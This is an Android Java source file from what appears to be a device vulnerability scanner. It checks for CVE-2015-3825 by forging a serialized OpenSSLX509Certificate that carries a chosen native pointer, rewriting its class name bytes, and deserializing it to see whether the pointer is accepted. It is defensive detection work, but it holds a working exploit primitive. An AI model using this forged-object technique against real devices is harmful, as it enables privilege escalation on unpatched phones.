content: package fuzion24.device.vulnerability.vulnerabilities.framework.serialization;
  import android.content.Context;
  import android.os.Build;
  import android.util.Log;
  
  import com.android.org.conscrypt.ZpenSSLX509Certificate;
  
  import java.io.ByteArrayInputStream;
  import java.io.ByteArrayOutputStream;
  import java.io.ObjectInputStream;
  import java.io.ObjectOutputStream;
  import java.io.ObjectStreamClass;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import java.util.ArrayList;
  import java.util.List;
  
  
  //Some code was borrowed from AOSP
  /*
  * Copyright 2015 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
  * You may obtain a copy of the License at
  *
  *      http://www.apache.org/licenses/LICENSE-2.0
  *
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
  import fuzion24.device.vulnerability.util.CPUArch;
  import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest;
  
  /**
   * Created by fuzion24 on 8/25/15.
   */
  
  
  /*
  Article:
  https://securityintelligence.com/one-class-to-rule-them-all-new-android-serialization-vulnerability-gives-underprivileged-apps-super-status/
  Paper:
  https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
  Patches:
  https://android.googlesource.com/platform/external/conscrypt/+/cb573b28f1c0ec2456682569bd254cb34815659a%5E%21/#F0
  
   */
  public class OpenSSLTransientBug implements VulnerabilityTest {
  
      static {
          System.loadLibrary("x509serializationhelper");
      }
  
      private native long getPositiveIntLocation();
  
      private static final String TAG = "openSSLSerializationBug";
      @Override
      public String getCVEorID() {
          return "CVE-2015-3825";
      }
  
      @Override
      public List<CPUArch> getSupportedArchitectures() {
          ArrayList<CPUArch> archs = new ArrayList<CPUArch>();
          archs.add(CPUArch.ARM);
          archs.add(CPUArch.ARM7);
          archs.add(CPUArch.ARM8);
          return archs;
      }
  
      @Override
      public boolean isVulnerable(Context context) throws Exception {
  
          /*
               AOSP switched from bouncy castle to conscrypt in 4.4
               This can be validated by looking at the preloaded classes:
               https://github.com/android/platform_frameworks_base/blob/jb-mr2-release/preloaded-classes
               https://github.com/android/platform_frameworks_base/blob/kitkat-release/preloaded-classes
               Notice that conscrypt classes exist in KitKat 4.4 SDK 19
               but not in Jellybean 4.3 MR SDK 18
           */
          
          if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT){
              return false;
          }
  
          Class openSSLX509CertificateClass = Class.forName("com.android.org.conscrypt.OpenSSLX509Certificate");
  
          ObjectStreamClass clDesc = ObjectStreamClass.lookup(openSSLX509CertificateClass);
  
          if (clDesc == null) {
              //TODO this is bad
              Log.d(TAG, "clDESC is null");
              throw new Exception("clDesc is null for OpenSSLECPrivateKey");
          }
  
          // Set our fake class's serialization UID.
          Field targetUID = ZpenSSLX509Certificate.class.getDeclaredField("serialVersionUID");
          targetUID.setAccessible(true);
          targetUID.set(null, clDesc.getSerialVersionUID());
  
  
          final byte[] impostorBytes;
          // Serialization
          {
              ByteArrayOutputStream baos = new ByteArrayOutputStream();
              ObjectOutputStream oos = new ObjectOutputStream(baos);
              long decrementAddress = getPositiveIntLocation();
              Log.d(TAG, "Decrement address: " + Long.toHexString(decrementAddress));
              oos.writeObject(new ZpenSSLX509Certificate(decrementAddress - 0x10));
              oos.close();
              impostorBytes = baos.toByteArray();
          }
  
          // Fix class name
          {
              boolean fixed = false;
              for (int i = 0; i < impostorBytes.length - 4; i++) {
                  if (impostorBytes[i] == 'Z' && impostorBytes[i + 1] == 'p'
                          && impostorBytes[i + 2] == 'e' && impostorBytes[i + 3] == 'n') {
                      impostorBytes[i] = 'O';
                      fixed = true;
                      break;
                  }
              }
          }
  
          // Deserialization
          {
              ByteArrayInputStream bais = new ByteArrayInputStream(impostorBytes);
              ObjectInputStream ois = new ObjectInputStream(bais);
              Object cert = ois.readObject();
              ois.close();
              Method m = openSSLX509CertificateClass.getDeclaredMethod("getContext");
              m.setAccessible(true);
              long ctx = (long) m.invoke(cert);
              if(ctx == 0L){
                  return false;
              }
          }
              return true;
      }
  }
  